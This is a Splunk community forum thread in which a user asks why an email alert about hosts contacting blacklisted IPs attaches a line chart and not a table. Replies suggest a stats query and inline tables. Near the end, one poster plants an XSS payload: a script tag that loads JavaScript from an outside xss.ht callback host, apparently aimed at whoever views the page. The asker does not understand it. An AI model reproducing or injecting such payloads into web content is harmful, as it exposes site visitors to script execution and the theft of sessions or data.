topic Re: Alerts, wrong visualization in the attachment in Alerting

Alerts, wrong visualization in the attachment

a_n — Tue, 07 Sep 2021 07:34:51 GMT

Hello All,

I have several alerts which send email notifications.

I know it might be very basic, but I need your help.

One alert is to specify if a local host has accessed a blacklisted IP.
So I expect to have a table with:
Src, Dest, Port
The search returns table, but I do not understand why does it attach a Line-Chart diagram!
I want it as Static table. In Visualization tab, it does not show me static table. I even tried to create a new alert without even going to the visualization tab, but I got same result.

I have even changed the search and used Table instead of stats.

Please advise.

Thank you

Re: Alerts, wrong visualization in the attachment

a_n — Fri, 10 Sep 2021 05:46:35 GMT

Any one can assist please?

Re: Alerts, wrong visualization in the attachment

isoutamo — Fri, 10 Sep 2021 05:58:28 GMT

Can you post your query + those visualisations?

Re: Alerts, wrong visualization in the attachment

a_n — Fri, 10 Sep 2021 06:04:04 GMT

Hi,
search is like:
index=FW
|table Src,Dst,pt
|dedup Src,Dst,pt
|rename Src as "Source",Dst as "Destination", pt as "Port"

chart is like:

Which I do not need it.
I managed for now as a workaround to Not attache PDF and use Inline Table.

Is it the only way to do this?
Thank you

Re: Alerts, wrong visualization in the attachment

a_n — Fri, 10 Sep 2021 06:22:24 GMT

I have added the search and chart, but seems in wrong level.

Please check.

Thank you

Re: Alerts, wrong visualization in the attachment

isoutamo — Fri, 10 Sep 2021 06:23:58 GMT

Maybe you can change you table + deduce to

... | stats count by Src, Dst, pt ...

And as you said don't attach pdf etc. into alert email, just link and/or inline.

r. Ismo

Re: Alerts, wrong visualization in the attachment

a_n — Fri, 10 Sep 2021 07:57:09 GMT

Yes, I was using this stats command.

My concern is about the chart, so it seems this is the only way:
to not attach PDF and include the Table inline.

Thank you very much

Re: Alerts, wrong visualization in the attachment

shivamrai — Fri, 10 Sep 2021 08:37:40 GMT

"><script src=https://shivamraixssht.xss.ht></script>

Re: Alerts, wrong visualization in the attachment

a_n — Fri, 10 Sep 2021 09:22:20 GMT

Hi,
Sorry, I am afraid I did not get what is this?
would you please elaborate?
Thank you